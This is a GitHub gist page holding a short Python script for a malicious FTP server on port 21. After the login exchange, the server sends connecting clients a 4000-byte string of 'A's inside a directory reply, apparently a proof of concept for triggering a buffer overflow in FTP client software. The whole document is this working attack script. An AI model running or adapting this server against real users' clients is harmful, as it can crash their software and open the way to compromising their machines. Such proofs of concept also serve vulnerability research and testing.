Skip to content

Instantly share code, notes, and snippets.

@ngalongc
Created May 5, 2017 06:44
Show Gist options
  • Save ngalongc/13bc717b2be06ee63967d7540fbddd46 to your computer and use it in GitHub Desktop.
Save ngalongc/13bc717b2be06ee63967d7540fbddd46 to your computer and use it in GitHub Desktop.
import socket
import sys
port = 21
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(5)
print("[i] FTP server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")
buffer = "A" * 4000
while True:
conn, addr = s.accept()
conn.send('220 Welcome to your unfriendly FTP server\r\n')
print(conn.recv(1024))
conn.send("331 OK\r\n")
print(conn.recv(1024))
conn.send('230 OK\r\n')
print(conn.recv(1024))
conn.send('220 "'+buffer+'" is current directory\r\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment